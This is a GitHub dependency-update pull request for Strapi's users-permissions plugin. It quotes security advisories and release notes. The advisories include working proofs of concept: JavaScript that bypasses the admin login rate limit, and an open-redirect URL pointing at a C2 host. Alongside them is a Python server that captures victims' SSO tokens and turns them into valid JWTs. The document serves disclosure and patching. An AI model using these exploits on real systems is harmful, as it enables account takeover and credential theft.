Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

fix(deps): update dependency @strapi/plugin-users-permissions to v4.24.2 [security] #13

Open
wants to merge 1 commit into
base: main
Choose a base branch
from

Conversation

plural-renovate[bot]
Copy link
Contributor

@plural-renovate plural-renovate bot commented Apr 19, 2023

This PR contains the following updates:

Package Type Update Change
@strapi/plugin-users-permissions dependencies minor 4.5.2 -> 4.24.2

GitHub Vulnerability Alerts

GHSA-xv3q-jrmm-4fxv

Summary

Strapi through 4.5.6 does not verify the access or ID tokens issued during the OAuth flow when the AWS Cognito login provider is used for authentication.

Details

Strapi through 4.5.6 does not verify the access or ID tokens issued during the OAuth flow when the AWS Cognito login provider is used for authentication. A remote attacker could forge an ID token that is signed using the 'None' type algorithm to bypass authentication and impersonate any user that use AWS Cognito for authentication.

IoC

Reviewing of application logs is recommended to detect any suspicious activity. Running the following regex pattern will extract all ID tokens sent to /api/auth/cognito/callback.

/\/api\/auth\/cognito\/callback\?[\s\S]*id_token=\s*([\S]*)/

Once you have a list of the ID tokens, you will need to verify each token using the public key file for your AWS Cognito user pool that you can download from https://cognito-idp.{region}.amazonaws.com/{userPoolId}/.well-known/jwks.json. If there are any JWT tokens that cannot be verified using the correct public key, then you need to inspect the JWT body and see if it contains the email and cognito:username claims (example below).

{
  "cognito:username": "auth-bypass-example",
  "email": "user@example.com"
}

If there are any JWTs that have this body, verify when the account with the email address was created. If the account was created earlier than the request to /api/auth/cognito/callback with the invalid JWT token, then you need to contact the user to inform them their account has been breached!

After upgrading to Strapi v4.6.0 or greater you will need to reconfigure your AWS Cognito provider to include the JWKS URL for it to work properly. If you do not reconfigure your provider you will receive an error message when attempting to login.

Impact

Any Strapi user using the users-permissions AWS Cognito provider before 4.6.0

CVE-2023-22621

Summary

Strapi through 4.5.5 allows authenticated Server-Side Template Injection (SSTI) that can be exploited to execute arbitrary code on the server.

Details

Strapi through 4.5.5 allows authenticated Server-Side Template Injection (SSTI) that can be exploited to execute arbitrary code on the server. A remote attacker with access to the Strapi admin panel can inject a crafted payload that executes code on the server into an email template that bypasses the validation checks that should prevent code execution.

IoC

Using just the request log files, the only IoC to search for is a PUT request to URL path /users-permissions/email-templates. This IoC only indicates that a Strapi email template was modified on your server and by itself does not indicate if your Strapi server has been compromised. If this IoC is detected, you will need to manually review your email templates on your Strapi server and backups of your database to see if any of the templates contain a lodash template delimiter (eg. <%STUFF HERE%>) that contains suspicious JavaScript code. Generally speaking these templates should look like the following, you may have minor adjustments but any unrecognized code should be considered suspicious.

Reset Password Template:

<p>We heard that you lost your password. Sorry about that!</p>

<p>But don’t worry! You can use the following link to reset your password:</p>
<p><%= URL %>?code=<%= TOKEN %></p>

<p>Thanks.</p>

Email Confirmation Template:

<p>Thank you for registering!</p>

<p>You have to confirm your email address. Please click on the link below.</p>

<p><%= URL %>?confirmation=<%= CODE %></p>

<p>Thanks.</p>

Specifically you should look for odd code contained within the <%STUFF HERE%> blocks as this is what is used to bypass the lodash templating system. If you find any code that is not a variable name, or a variable name that is not defined in the template you are most likely impacted and should take immediate steps to confirm there are no malicious applications running on your servers.

Impact

All users on Strapi below 4.5.6 with access to the admin panel and the ability to modify the email templates

CVE-2023-22893

Strapi 3.2.1 until 4.6.0 does not verify the access or ID tokens issued during the OAuth flow when the AWS Cognito login provider is used for authentication. A remote attacker could forge an ID token that is signed using the 'None' type algorithm to bypass authentication and impersonate any user that use AWS Cognito for authentication.

CVE-2023-38507

1. Summary

There is a rate limit on the login function of Strapi's admin screen, but it is possible to circumvent it.

2. Details

It is possible to avoid this by modifying the rate-limited request path as follows.

  1. Manipulating request paths to upper or lower case. (Pattern 1)
    • In this case, avoidance is possible with various patterns.
  2. Add path slashes to the end of the request path. (Pattern 2)

3. PoC

Access the administrator's login screen (/admin/auth/login) and execute the following PoC on the browser's console screen.

Pattern 1 (uppercase and lowercase)

// poc.js
(async () => {
  const data1 = {
    email: "admin@strapi.com",   // registered e-mail address
    password: "invalid_password",
  };
  const data2 = {
    email: "admin@strapi.com",
    password: "RyG5z-CE2-]*4e4",   // correct password
  };

  for (let i = 0; i < 30; i++) {
    await fetch("http://localhost:1337/admin/login", {
      method: "POST",
      body: JSON.stringify(data1),
      headers: {
        "Content-Type": "application/json",
      },
    });
  }

  const res1 = await fetch("http://localhost:1337/admin/login", {
    method: "POST",
    body: JSON.stringify(data2),
    headers: {
      "Content-Type": "application/json",
    },
  });
  console.log(res1.status + " " + res1.statusText);

  const res2 = await fetch("http://localhost:1337/admin/Login", {  // capitalize part of path
    method: "POST",
    body: JSON.stringify(data2),
    headers: {
      "Content-Type": "application/json",
    },
  });
  console.log(res2.status + " " + res2.statusText);
})();
This PoC does the following:
  1. Request 30 incorrect logins.
  2. Execute the same request again and confirm that it is blocked by rate limit from the console screen. (429 Too Many Requests)
  3. Next, falsify the pathname of the request (/admin/Login) and make a request again to confirm that it is possible to bypass the rate limit and log in. (200 OK)

Pattern 2 (trailing slash)

// poc.js
(async () => {
  const data1 = {
    email: "admin@strapi.com",   // registered e-mail address
    password: "invalid_password",
  };
  const data2 = {
    email: "admin@strapi.com",
    password: "RyG5z-CE2-]*4e4",   // correct password
  };

  for (let i = 0; i < 30; i++) {
    await fetch("http://localhost:1337/admin/login", {
      method: "POST",
      body: JSON.stringify(data1),
      headers: {
        "Content-Type": "application/json",
      },
    });
  }

  const res1 = await fetch("http://localhost:1337/admin/login", {
    method: "POST",
    body: JSON.stringify(data2),
    headers: {
      "Content-Type": "application/json",
    },
  });
  console.log(res1.status + " " + res1.statusText);

  const res2 = await fetch("http://localhost:1337/admin/login/", {  // trailing slash
    method: "POST",
    body: JSON.stringify(data2),
    headers: {
      "Content-Type": "application/json",
    },
  });
  console.log(res2.status + " " + res2.statusText);
})();
This PoC does the following:
  1. Request 30 incorrect logins.
  2. Execute the same request again and confirm that it is blocked by rate limit from the console screen. (429 Too Many Requests)
  3. Next, falsify the pathname of the request (/admin/login/) and make a request again to confirm that it is possible to bypass the rate limit and log in. (200 OK)

PoC Video

4. Impact

It is possible to bypass the rate limit of the login function of the admin screen.
Therefore, the possibility of unauthorized login by login brute force attack increases.

5. Measures

Forcibly convert the request path used for rate limiting to upper case or lower case and judge it as the same path. (ctx.request.path)
Also, remove any extra slashes in the request path.

https://github.com/strapi/strapi/blob/32d68f1f5677ed9a9a505b718c182c0a3f885426/packages/core/admin/server/middlewares/rateLimit.js#L31

6. References

CVE-2023-39345

System Details

Name Value
OS Windows 11
Version 4.11.1 (node v16.14.2)
Database mysql

Description

I marked some fields as private fields in user content-type, and tried to register as a new user via api, at the same time I added content to fill the private fields and sent a post request, and as you can see from the images below, I can write to the private fields.

register

user

private_field

table

To prevent this, I went to the extension area and tried to extend the register method, for this I wanted to do it using the sanitizeInput function that I know in the source codes of the strap. But the sanitizeInput function did not filter out private fields.

  const { auth } = ctx.state;
  const data = ctx.request.body;
  const userSchema = strapi.getModel("plugin::users-permissions.user");

  sanitize.contentAPI.input(data, userSchema, { auth });

here's the solution I've temporarily kept to myself, code snippet

  const body = ctx.request.body;

  const { attributes } = strapi.getModel("plugin::users-permissions.user");

  const sanitizedData = _.omitBy(body, (data, key) => {
    const attribute = attributes[key];

    if (_.isNil(attribute)) {
      return false;
    }

    //? If you want, you can throw an error for fields that we did not expect.

    // if (_.isNil(attribute))
    //   throw new ApplicationError(`Unexpected value ${key}`);

    // if private value is true, we do not want to send it to the database.
    return attribute.private;
  });

  return sanitizedData;

CVE-2024-34065

Summary

By combining two vulnerabilities (an Open Redirect and session token sent as URL query parameter) in Strapi framework is its possible of an unauthenticated attacker to bypass authentication mechanisms and retrieve the 3rd party tokens. The attack requires user interaction (one click).

Impact

Unauthenticated attackers can leverage two vulnerabilities to obtain an 3rd party token and the bypass authentication of Strapi apps.

Technical details

Vulnerability 1: Open Redirect

Description

Open redirection vulnerabilities arise when an application incorporates user-controllable data into the target of a redirection in an unsafe way. An attacker can construct a URL within the application that causes a redirection to an arbitrary external domain.

In the specific context of Strapi, this vulnerability allows the SSO token to be stolen, allowing an attacker to authenticate himself within the application.

Remediation

If possible, applications should avoid incorporating user-controllable data into redirection targets. In many cases, this behavior can be avoided in two ways:

  • Remove the redirection function from the application, and replace links to it with direct links to the relevant target URLs.
  • Maintain a server-side list of all URLs that are permitted for redirection. Instead of passing the target URL as a parameter to the redirector, pass an index into this list.

If it is considered unavoidable for the redirection function to receive user-controllable input and incorporate this into the redirection target, one of the following measures should be used to minimize the risk of redirection attacks:

  • The application should use relative URLs in all of its redirects, and the redirection function should strictly validate that the URL received is a relative URL.
  • The application should use URLs relative to the web root for all of its redirects, and the redirection function should validate that the URL received starts with a slash character. It should then prepend http://yourdomainname.com to the URL before issuing the redirect.
Example 1: Open Redirect in /api/connect/microsoft via $_GET["callback"]
  • Path: /api/connect/microsoft
  • Parameter: $_GET["callback"]

Payload:

https://google.fr/

Final payload:

https://<TARGET>/api/connect/microsoft?callback=https://google.fr/

User clicks on the link:
c1

Look at the intercepted request in Burp and see the redirect to Microsoft:

c0

Microsoft check the cookies and redirects to the original domain (and route) but with different GET parameters.

Then, the page redirects to the domain controlled by the attacker (and a token is added to controlled the URL):

c2

The domain originally specified (https://google.fr) as $_GET["callback"] parameter is present in the cookies. So <TARGET> is using the cookies (koa.sess) to redirect.

c3

koa.sess cookie:

eyJncmFudCI6eyJwcm92aWRlciI6Im1pY3Jvc29mdCIsImR5bmFtaWMiOnsiY2FsbGJhY2siOiJodHRwczovL2dvb2dsZS5mci8ifX0sIl9leHBpcmUiOjE3MDAyMzQyNDQyNjMsIl9tYXhBZ2UiOjg2NDAwMDAwfQ==
{"grant":{"provider":"microsoft","dynamic":{"callback":"https://google.fr/"}},"_expire":1700234244263,"_maxAge":86400000}

The vulnerability seems to come from the application's core:

File: packages/plugins/users-permissions/server/controllers/auth.js

'use strict';

/**
 * Auth.js controller
 *
 * @&#8203;description: A set of functions called "actions" for managing `Auth`.
 */

/* eslint-disable no-useless-escape */
const crypto = require('crypto');
const _ = require('lodash');
const { concat, compact, isArray } = require('lodash/fp');
const utils = require('@&#8203;strapi/utils');
const {
  contentTypes: { getNonWritableAttributes },
} = require('@&#8203;strapi/utils');
const { getService } = require('../utils');
const {
  validateCallbackBody,
  validateRegisterBody,
  validateSendEmailConfirmationBody,
  validateForgotPasswordBody,
  validateResetPasswordBody,
  validateEmailConfirmationBody,
  validateChangePasswordBody,
} = require('./validation/auth');

const { getAbsoluteAdminUrl, getAbsoluteServerUrl, sanitize } = utils;
const { ApplicationError, ValidationError, ForbiddenError } = utils.errors;

const sanitizeUser = (user, ctx) => {
  const { auth } = ctx.state;
  const userSchema = strapi.getModel('plugin::users-permissions.user');

  return sanitize.contentAPI.output(user, userSchema, { auth });
};

module.exports = {
  async callback(ctx) {
    const provider = ctx.params.provider || 'local';
    const params = ctx.request.body;

    const store = strapi.store({ type: 'plugin', name: 'users-permissions' });
    const grantSettings = await store.get({ key: 'grant' });

    const grantProvider = provider === 'local' ? 'email' : provider;

    if (!_.get(grantSettings, [grantProvider, 'enabled'])) {
      throw new ApplicationError('This provider is disabled');
    }

    if (provider === 'local') {
      await validateCallbackBody(params);

      const { identifier } = params;

      // Check if the user exists.
      const user = await strapi.query('plugin::users-permissions.user').findOne({
        where: {
          provider,
          $or: [{ email: identifier.toLowerCase() }, { username: identifier }],
        },
      });

      if (!user) {
        throw new ValidationError('Invalid identifier or password');
      }

      if (!user.password) {
        throw new ValidationError('Invalid identifier or password');
      }

      const validPassword = await getService('user').validatePassword(
        params.password,
        user.password
      );

      if (!validPassword) {
        throw new ValidationError('Invalid identifier or password');
      }

      const advancedSettings = await store.get({ key: 'advanced' });
      const requiresConfirmation = _.get(advancedSettings, 'email_confirmation');

      if (requiresConfirmation && user.confirmed !== true) {
        throw new ApplicationError('Your account email is not confirmed');
      }

      if (user.blocked === true) {
        throw new ApplicationError('Your account has been blocked by an administrator');
      }

      return ctx.send({
        jwt: getService('jwt').issue({ id: user.id }),
        user: await sanitizeUser(user, ctx),
      });
    }

    // Connect the user with the third-party provider.
    try {
      const user = await getService('providers').connect(provider, ctx.query);

      if (user.blocked) {
        throw new ForbiddenError('Your account has been blocked by an administrator');
      }

      return ctx.send({
        jwt: getService('jwt').issue({ id: user.id }),
        user: await sanitizeUser(user, ctx),
      });
    } catch (error) {
      throw new ApplicationError(error.message);
    }
  },

  //...

  async connect(ctx, next) {
    const grant = require('grant-koa');

    const providers = await strapi
      .store({ type: 'plugin', name: 'users-permissions', key: 'grant' })
      .get();

    const apiPrefix = strapi.config.get('api.rest.prefix');
    const grantConfig = {
      defaults: {
        prefix: `${apiPrefix}/connect`,
      },
      ...providers,
    };

    const [requestPath] = ctx.request.url.split('?');
    const provider = requestPath.split('/connect/')[1].split('/')[0];

    if (!_.get(grantConfig[provider], 'enabled')) {
      throw new ApplicationError('This provider is disabled');
    }

    if (!strapi.config.server.url.startsWith('http')) {
      strapi.log.warn(
        'You are using a third party provider for login. Make sure to set an absolute url in config/server.js. More info here: https://docs.strapi.io/developer-docs/latest/plugins/users-permissions.html#setting-up-the-server-url'
      );
    }

    // Ability to pass OAuth callback dynamically
    grantConfig[provider].callback =
      _.get(ctx, 'query.callback') ||
      _.get(ctx, 'session.grant.dynamic.callback') ||
      grantConfig[provider].callback;
    grantConfig[provider].redirect_uri = getService('providers').buildRedirectUri(provider);

    return grant(grantConfig)(ctx, next);
  },

  //...

};

And more specifically:

...

    // Ability to pass OAuth callback dynamically
    grantConfig[provider].callback =
      _.get(ctx, 'query.callback') ||
      _.get(ctx, 'session.grant.dynamic.callback') ||
      grantConfig[provider].callback;
    grantConfig[provider].redirect_uri = getService('providers').buildRedirectUri(provider);

    return grant(grantConfig)(ctx, next);
...

Possible patch:

grantConfig[provider].callback = process.env[`${provider.toUpperCase()}_REDIRECT_URL`] || grantConfig[provider].callback

_.get(ctx, 'query.callback') = $_GET["callback"] and _.get(ctx, 'session') = $_COOKIE["koa.sess"] (which is {"grant":{"provider":"microsoft","dynamic":{"callback":"https://XXXXXXX/"}},"_expire":1701275652123,"_maxAge":86400000}) so _.get(ctx, 'session.grant.dynamic.callback') = https://XXXXXXX/.

The route is clearly defined here:

File: packages/plugins/users-permissions/server/routes/content-api/auth.js

'use strict';

module.exports = [

//...

  {
    method: 'GET',
    path: '/auth/:provider/callback',
    handler: 'auth.callback',
    config: {
      prefix: '',
    },
  },

  //...

];

File: packages/plugins/users-permissions/server/services/providers-registry.js

const getInitialProviders = ({ purest }) => ({

//..

  async microsoft({ accessToken }) {
    const microsoft = purest({ provider: 'microsoft' });

    return microsoft
      .get('me')
      .auth(accessToken)
      .request()
      .then(({ body }) => ({
        username: body.userPrincipalName,
        email: body.userPrincipalName,
      }));
  },

//..

});

If parameter $_GET["callback"] is defined in the GET request, the assignment does not evaluate all conditions, but stops at the beginning. The value is then stored in the cookie koa.sess:

koa.sess=eyJncmFudCI6eyJwcm92aWRlciI6Im1pY3Jvc29mdCIsImR5bmFtaWMiOnsiY2FsbGJhY2siOiJodHRwczovL2FkbWluLmludGUubmV0YXRtby5jb20vdXNlcnMvYXV0aC9yZWRpcmVjdCJ9fSwiX2V4cGlyZSI6MTcwMTI3NTY1MjEyMywiX21heEFnZSI6ODY0MDAwMDB9

Which once base64 decoded become {"grant":{"provider":"microsoft","dynamic":{"callback":"https://<TARGET>/users/auth/redirect"}},"_expire":1701275652123,"_maxAge":86400000}.

The signature of the cookie is stored in cookie koa.sess.sig:

koa.sess.sig=wTRmcVRrn88hWMdg84VvSD87-_0

File: packages/plugins/users-permissions/server/bootstrap/grant-config.js

//..

  microsoft: {
    enabled: false,
    icon: 'windows',
    key: '',
    secret: '',
    callback: `${baseURL}/microsoft/callback`,
    scope: ['user.read'],
  },

//..

Vulnerability 2: Session token in URL

Description

Applications should not send session tokens as URL query parameters and use instead an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.

Example 1: SSO token transmitted within URL ($_GET["access_token"])
  • Path: /api/connect/microsoft
  • Parameter: $_GET["callback"]

When a callback was called, the 3rd party token was transmitted in an insecure way within the URL, which could be used to increase the impact of the Open Redirect vulnerability described previously by stealing the SSO token.

Weaponized payload:

https://<TARGET>/api/connect/microsoft?callback=http://<C2>:8080/

With a web server specially developed to exploit the vulnerability listening on <C2>:8080, it is possible to retrieve a JWT token allowing authentication on Strapi.

A user is on his browser when he decides to click on a link sent to him by e-mail.

c4

The attacker places the malicious link in the URL bar to simulate a victim's click.

c5

The server specially developed by the attacker to show that the vulnerability is exploitable, recovers the user's SSO token.

Everything is invisible to the victim.

c6

Because the victim didn't change to another Web page.

c7

The attacker can use the SSO token to authenticate himself within the application and retrieve a valid JWT token enabling him to interact with it.

c8

Details
Get the JWT token with the access_token

First of all, thanks to the SSO token, you authenticate yourself and get a JWT token to be able to interact with the various API routes.

Request (HTTP):

GET /api/auth/microsoft/callback?access_token=eyJ0eXAiOiJKV<REDACTED>yBzA HTTP/1.1
Host: <TARGET>

Response (HTTP):

HTTP/1.1 200 OK
Server: nginx
Date: Mon, 27 Nov 2023 17:58:46 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 411
Connection: keep-alive
Content-Security-Policy: connect-src 'self' https:;img-src 'self' data: blob: https://market-assets.strapi.io;media-src 'self' data: blob:;default-src 'self';base-uri 'self';font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline'
Referrer-Policy: no-referrer
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
X-DNS-Prefetch-Control: off
X-Download-Options: noopen
X-Frame-Options: SAMEORIGIN
X-Permitted-Cross-Domain-Policies: none
Vary: Origin
X-XSS-Protection: 1; mode=block
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Powered-By: <REDACTED>

{"jwt":"eyJhbG<REDACTED>eCac","user":{"id":111,"username":"<REDACTED>@&#8203;<REDACTED>-ext.com","email":"<redacted>@&#8203;<redacted>-ext.com","provider":"microsoft","confirmed":true,"blocked":false,"createdAt":"2023-11-14T12:35:42.440Z","updatedAt":"2023-11-16T21:00:19.241Z","is_external":false}}
Request API routes using the JWT token

Then reuse the JWT token to request the API.

Request (HTTP):

GET /api/users/me/groups?app=support HTTP/1.1
Host: <TARGET>
Authorization: Bearer eyJ<REDACTED>EeCac

Response (HTTP):

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 28 Nov 2023 13:45:42 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 24684
Connection: keep-alive
Content-Security-Policy: connect-src 'self' https:;img-src 'self' data: blob: https://market-assets.strapi.io;media-src 'self' data: blob:;default-src 'self';base-uri 'self';font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline'
Referrer-Policy: no-referrer
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
X-DNS-Prefetch-Control: off
X-Download-Options: noopen
X-Frame-Options: SAMEORIGIN
X-Permitted-Cross-Domain-Policies: none
Vary: Origin
X-RateLimit-Limit: 10
X-RateLimit-Remaining: 9
X-RateLimit-Reset: 1701179203
X-XSS-Protection: 1; mode=block
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Powered-By: <REDACTED>

{"apps":{"support":{"groups":[{"device_whitelist":null,"name":"test - support","id":10,"group_privileges":[{"id":37,<REDACTED>

...

POC (Web server stealing SSO token and retrieving JWT token then bypassing authentication)

import base64
import json
import urllib.parse

from http.server import BaseHTTPRequestHandler, HTTPServer
from sys import argv

# Strapi URL.
TARGET = "target.com"

# URLs to which victims are automatically redirected.
REDIRECT_URL = [
    "strapi.io",
    "www.google.fr"
]

# URL used to generate a valid JWT token for authentication within the
# application.
GEN_JWT_URL = f"https://{TARGET}/api/auth/microsoft/callback"

# This function is used to generate a curl command which once executed, will

# give us a valid JWT connection token.
def generate_curl_command(token):
    command = f"curl '{GEN_JWT_URL}?access_token={token}'"
    return command

# We create a custom HTTP server to retrieve users' SSO tokens.
class CustomServer(BaseHTTPRequestHandler):

    # Here we override the default logging function to reduce verbosity.
    def log_message(self, format, *args):
        pass

    # This function automatically redirects a user to the page defined in the
    # global variable linked to the redirection.
    def _set_response(self):
        self.send_response(302)
        self.send_header("Location", REDIRECT_URL[0])
        self.end_headers()

    # If an SSO token is present, we parse it and log the result in STDOUT.
    def do_GET(self):
        # This condition checks whether a token is present in the URL.
        if str(self.path).find("access_token") != -1:
            # If this is the case, we recover the token.
            query = urllib.parse.urlparse(self.path).query
            query_components = dict(qc.split("=") for qc in query.split("&"))
            access_token = urllib.parse.unquote(query_components["access_token"])

            # In the token, which is a string in JWT format, we retrieve the
            # body part of the token.
            interesting_data = access_token.split(".")[1]

            # Patching base64 encoded data.
            interesting_data = interesting_data + "=" * (-len(interesting_data) % 4)

            # Parsing JSON.
            json_data = json.loads(base64.b64decode(interesting_data.encode()))
            family_name, given_name, ipaddr, upn = json_data["given_name"], json_data["family_name"], json_data["ipaddr"], json_data["upn"]

            print(f"[+] Token captured for {family_name} {given_name}, {upn} ({ipaddr}):\n{access_token}\n")
            print(f"[*] Run: \"{generate_curl_command(query_components['access_token'])}\" to get JWT token")

        self._set_response()
        self.wfile.write("Redirecting ...".encode("utf-8"))

def run(server_class=HTTPServer, handler_class=CustomServer, ip="0.0.0.0", port=8080):
    server_address = (ip, port)
    httpd = server_class(server_address, handler_class)

    print(f"Starting httpd ({ip}:{port}) ...")
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        pass

    httpd.server_close()
    print("Stopping httpd ...")

if __name__ == "__main__":
    if len(argv) == 3:
        run(ip=argv[1], port=int(argv[2]))
    else:
        run()

Release Notes

strapi/strapi (@​strapi/plugin-users-permissions)

v4.24.2

Compare Source

⚠️ Security Warning and Notice ⚠️

Strapi was made aware of a vulnerably that were patched in this release, for now we are going to delay the detailed disclosure of the exact details on how to exploit it and how it was patched to give time for users to upgrade before we do public disclosure.

📚 Update and Migration Guides
  • General update guide can be found here
  • Migration guides can be found here 📚

Full Changelog: strapi/strapi@v4.24.2...v4.24.1

v4.24.1

Compare Source

🔥 Bug fix
📚 Update and Migration Guides
  • General update guide can be found here
  • Migration guides can be found here 📚

v4.24.0

Compare Source

🔥 Bug fix
⚙️ Chore
📚 Update and Migration Guides
  • General update guide can be found here
  • Migration guides can be found here 📚

v4.23.2

Compare Source

What's Changed

Full Changelog: strapi/strapi@v4.23.1...v4.23.2

v4.23.1

Compare Source

📖 Documentation
⚙️ Chore
🔥 Bug fix
📚 Update and Migration Guides
  • General update guide can be found here
  • Migration guides can be found here 📚

v4.23.0

Compare Source

⚙️ Chore
🔥 Bug fix
🚀 New feature
💅 Enhancement
📚 Update and Migration Guides
  • General update guide can be found here
  • Migration guides can be found here 📚

v4.22.1

Compare Source

What's Changed

Full Changelog: strapi/strapi@v4.22.0...v4.22.1

v4.22.0

Compare Source

⚠️ Security Warning and Notice ⚠️

Strapi was made aware of a vulnerably that were patched in this release, for now we are going to delay the detailed disclosure of the exact details on how to exploit it and how it was patched to give time for users to upgrade before we do public disclosure.

🔥 Bug fix
🚀 New feature
⚙️ Chore
📚 Update and Migration Guides
  • General update guide can be found here
  • Migration guides can be found here 📚

v4.21.1

Compare Source

💅 Enhancement
🔥 Bug fix
📚 Update and Migration Guides
  • General update guide can be found here
  • Migration guides can be found here 📚

v4.21.0

Compare Source

💅 Enhancement
🚀 New feature
📚 Update and Migration Guides
  • General update guide can be found here
  • Migration guides can be found here

v4.20.5

Compare Source

🔥 Bug fix
⚙️ Chore
📚 Update and Migration Guides
  • General update guide can be found here
  • Migration guides can be found here 📚

v4.20.4

Compare Source

💅 Enhancement
🔥 Bug fix
⚙️ Chore
📚 Update and Migration Guides
  • General update guide can be found here
  • Migration guides can be found here 📚

v4.20.3

Compare Source

🔥 Bug fix
📚 Update and Migration Guides
  • General update guide can be found here
  • Migration guides can be found here 📚

v4.20.2

Compare Source

🔥 Bug fix
📚 Update and Migration Guides
  • General update guide can be found here
  • Migration guides can be found here 📚

v4.20.1

Compare Source

💅 Enhancement
🔥 Bug fix
⚙️ Chore
📖 Documentation
🚀 New feature
📚 Update and Migration Guides
  • General update guide can be found here
  • Migration guides can be found here 📚

v4.20.0

Compare Source

🔥 Bug fix
💅 Enhancement
📚 Update and Migration Guides
  • General update guide can be found here
  • Migration guides can be found here 📚

v4.19.1

[Compare Source](https://togithub.com/strapi/strapi/compare/v4.19.0.


Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR has been generated by Renovate Bot.

@plural-renovate plural-renovate bot force-pushed the renovate/npm-@strapi/plugin-users-permissions-vulnerability branch from 63aaac1 to 10dad2b Compare September 13, 2023 18:58
@plural-renovate plural-renovate bot changed the title fix(deps): update dependency @strapi/plugin-users-permissions to v4.6.0 [security] fix(deps): update dependency @strapi/plugin-users-permissions to v4.12.1 [security] Sep 13, 2023
@plural-renovate plural-renovate bot force-pushed the renovate/npm-@strapi/plugin-users-permissions-vulnerability branch from 10dad2b to 10ecf91 Compare November 3, 2023 21:11
@plural-renovate plural-renovate bot changed the title fix(deps): update dependency @strapi/plugin-users-permissions to v4.12.1 [security] fix(deps): update dependency @strapi/plugin-users-permissions to v4.13.1 [security] Nov 3, 2023
@plural-renovate plural-renovate bot changed the title fix(deps): update dependency @strapi/plugin-users-permissions to v4.13.1 [security] fix(deps): update dependency @strapi/plugin-users-permissions to v4.13.1 [security] - autoclosed Feb 24, 2024
@plural-renovate plural-renovate bot closed this Feb 24, 2024
@plural-renovate plural-renovate bot deleted the renovate/npm-@strapi/plugin-users-permissions-vulnerability branch February 24, 2024 03:24
@plural-renovate plural-renovate bot restored the renovate/npm-@strapi/plugin-users-permissions-vulnerability branch February 24, 2024 07:54
@plural-renovate plural-renovate bot changed the title fix(deps): update dependency @strapi/plugin-users-permissions to v4.13.1 [security] - autoclosed fix(deps): update dependency @strapi/plugin-users-permissions to v4.13.1 [security] Feb 24, 2024
@plural-renovate plural-renovate bot reopened this Feb 24, 2024
@plural-renovate plural-renovate bot force-pushed the renovate/npm-@strapi/plugin-users-permissions-vulnerability branch from 10ecf91 to 2c5d308 Compare June 12, 2024 22:41
@plural-renovate plural-renovate bot changed the title fix(deps): update dependency @strapi/plugin-users-permissions to v4.13.1 [security] fix(deps): update dependency @strapi/plugin-users-permissions to v4.24.2 [security] Jun 12, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging this pull request may close these issues.

0 participants